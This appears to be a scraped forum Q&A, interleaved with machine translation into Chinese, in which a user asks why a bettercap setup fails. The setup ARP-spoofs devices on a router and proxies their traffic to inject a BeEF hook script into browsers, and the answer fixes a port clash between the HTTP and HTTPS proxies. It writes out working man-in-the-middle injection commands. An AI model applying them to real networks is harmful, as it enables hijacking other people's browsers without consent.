[英]Bettercap: bind: address already in use
Whatever port I try to use I keep getting the error: 无论我尝试使用哪个端口,我都会不断收到错误消息:
listen tcp 0.0.0.0:PORT_NUMBER: bind: address already in use 监听TCP 0.0.0.0:PORT_NUMBER:绑定:地址已在使用中
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on
I am trying to inject some js into the browser of each computer connected to my router. 我正在尝试将一些js注入连接到路由器的每台计算机的浏览器中。 I except to see a message that the beef-inject was successfully injected 除了看到一条消息,表明牛肉注射已成功注射
Stops when it hits my IP address. 当它碰到我的IP地址时停止。 Here is the output: 这是输出:
[13:26:41] [sys.log] [inf] http.proxy started on 0.0.0.0:8011 (sslstrip disabled) [13:26:41] [sys.log] [inf] http.proxy在0.0.0.0:8011上启动(禁用了sslstrip)
[13:26:41] [sys.log] [inf] loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem [13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.key.pem加载代理证书颁发机构TLS密钥
[13:26:41] [sys.log] [inf] loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem [13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.cert.pem加载代理证书颁发机构TLS证书
[13:26:41] [sys.log] [inf] Enabling forwarding. [13:26:41] [sys.log] [inf]启用转发。
[13:26:41] [sys.log] [inf] https.proxy started on 0.0.0.0:8011 (sslstrip disabled) [13:26:41] [sys.log] [inf] https.proxy从0.0.0.0:8011开始(已禁用sslstrip)
[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: address already in use [13:26:41] [sys.log] [!!!]监听tcp 0.0.0.0:8011:bind:地址已在使用中
Changing the ports for both to be different stopped the error however it is still not injecting anything into the browsers. 将两个端口更改为不同可以停止该错误,但是仍然没有向浏览器注入任何内容。 All I keep getting in the console is: 我一直进入控制台的一切是:
ok so I changed that and I am no longer getting that error however, it is still not injecting any JS into the browsers. 好的,所以我更改了它,并且不再出现该错误,但是,它仍然没有在浏览器中注入任何JS。 I just keep getting new and lost endpoints like so: 我只是不断获得新的和丢失的端点,如下所示:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
.... Then it keeps ticking through the same messages, new > lost > new > lost ....然后,它不断在相同的消息中打勾,依次为“新建>丢失>新建>丢失”
Any ideas? 有任何想法吗?
set http.proxy.port 8011
set https.proxy.port 8011
Those ports are set to the same thing, which means they're both trying to listen on 8011 and are stomping on each other. 这些端口设置为同一端口,这意味着它们都试图监听8011,并且互相踩踏。
Change one of them to a different port and the error should go away. 将其中之一更改为其他端口,错误应消失。
Cheers! 干杯!
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.